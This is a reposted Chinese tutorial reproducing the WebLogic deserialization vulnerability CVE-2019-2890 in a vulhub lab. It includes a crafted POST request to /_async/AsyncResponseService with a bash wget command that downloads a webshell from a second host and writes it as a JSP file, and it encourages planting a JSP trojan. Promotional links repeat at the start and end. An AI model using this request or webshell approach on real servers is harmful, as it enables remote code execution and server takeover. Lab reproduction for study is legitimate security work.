小工具知识网

当前位置: 首页 > 行业知识 > 【网络安全---漏洞复现】WebLogic 反序列化漏洞(CVE-2019-2890)漏洞复现

行业知识

【网络安全---漏洞复现】WebLogic 反序列化漏洞(CVE-2019-2890)漏洞复现

2026-11-11 20:46:09 来源:互联网转载

  首先分享一个自己做的很不错的网路安全笔记,内容详细介绍了许多知识

分享一个非常详细的网络安全笔记,是我学习网安过程中用心写的,可以点开以下链接获取:

https://m.tb.cn/h.gcRis7s?tk=eBqAWGxQ9I2https://m.tb.cn/h.gcRis7s?tk=eBqAWGxQ9I2

​

​

不知道怎么获取的可以私信联系我,欢迎技术交流!

一,漏洞描述

1-1 漏洞原理:

   Weblogic在利用T3协议进行远程资源加载调用时,默认会进行黑名单过滤以保证反序列化安全。本漏洞绕过了Weblogic的反序列化黑名单,使攻击者可以通过T3协议对存在漏洞的Weblogic组件实施远程攻击。由于T3协议在Weblogic控制台开启的情况下默认开启,而Weblogic默认安装会自动开启控制台,所以攻击者可通过此漏洞造成远程代码执行,以控制Weblogic服务器。

1-2 影响版本

WebLogic Server 10.3.6.0

WebLogic Server 12.1.3.0

WebLogic Server 12.2.1.3

二,靶场搭建

靶机:192.168.31.160

通过vulhub靶场来进行复现

需要有docker镜像,需要安装docker镜像请参考下面这篇文章

docker及docker命令详解_ANii_Aini的博客-CSDN博客docker及docker命令详解;docker是一个软件,是一个运行与linux和windows上的软件,用于创建、管理和编排容器;docker平台就是一个软件集装箱化平台,是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中,也可以实现虚拟化,并且容器之间不会有任何接口;https://blog.csdn.net/m0_67844671/article/details/132872790

​

通过docker-compose up -d 命令拉去启动靶场,我之前已经拉去启动过,这次只需要启动即可; 

​

浏览器访问一下http://192.168.31.160:7001/console/login/LoginForm.jsp

看到如下页面表示靶场搭建好了,并启动成功 

​

  访问一下http://192.168.31.160:7001/_async/AsyncResponseService

看到如吓页面,说明存在 反序列化漏洞(CVE-2019-2890)

​

三,漏洞复现

1-1 准备java脚本文件

编写能执行系统命令的java脚本文件,通过漏洞上传到服务器,可以请求的方式执行系统漏洞

脚本文件我给大家准备好了,直接用即可

这代码大概意思就是接受两个参数pwd和cmd,pwd是确认密码,cmd是执行的系统命令;

当传过来的pwd值为123时,执行cmd系统指令并返回

  

1-2 在另一个主机,或者直接靶机上也可以,mkdir aini 创建一个文件夹aini的文件夹,进入到文件夹里面,tocuh shell.txt ,然后vim shell.txt 把准备好的执行系统指令的代码写入到shell.txt中

​

1-2 开启web服务

我们需要开启web服务,让shell.txt能够访问

在aini 文件夹里执行 python3 -m http.server 5555 开启web服务,默认以aini文件夹为根目录 

注:我是kali系统,自带Python3 ,如果是centos系统的话应该不是自带Python3 ,可以yum provides python3 找到能安装的Python3安装包,然后进行安装

​

web 服务已经开启,访问看看 192.168.31.160:5555 

能成功访问到

​

1-3 抓包,修改数据包

对 http://192.168.31.160:7001/_async/AsyncResponseService

进行抓包,并放到重发器里面 

​

​ ​

下面对数据包进行修改

GET请求---------POST请求

添加ContentType 值为text/xml

可以删除一些多余的请求行,只保留下面给的几个

注意:下面代买中如下红色部分需要修改改成自己开启web服务的主机IP和端口,和shell的名称

wget http://192.168.31.160:12345/shell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/aini.jsp

这个代码的意思就是去 http://192.168.31.160:12345/shell.txt 里 把shell.txt下载下来以后再写入到服务器上一个aini.jsp的文件中

POST /_async/AsyncResponseService HTTP/1.1Host: 192.168.31.160:7001User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Connection: closeContent-Length: 868content-type: text/xml  xxxx/bin/bash-cwget http://192.168.31.160:12345/shell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/aini.jsp

 1-4 发包,查看结果

发包以后查看如下结果,说明文件写入成功了

​

1-5 访问写入的文件,执行命令

​

 ​

到此我们就复现成功了,通过反序列化写入能执行系统命令的脚本问价,然后可以执行系统命令,这么说能不能写入一句户木马程序来getshell呢?

大家可以取找JSP一句话木马,同样的办法写入以后可以用工具试一下看看

有问题可以留言,一起探讨

  首先分享一个自己做的很不错的网路安全笔记,内容详细介绍了许多知识

分享一个非常详细的网络安全笔记,是我学习网安过程中用心写的,可以点开以下链接获取:

https://m.tb.cn/h.gcRis7s?tk=eBqAWGxQ9I2https://m.tb.cn/h.gcRis7s?tk=eBqAWGxQ9I2

不知道怎么获取的可以私信联系我,欢迎技术交流!

上一篇:VCS揭秘,重点解析,一探究竟!

下一篇:自己怎么建传奇服务器?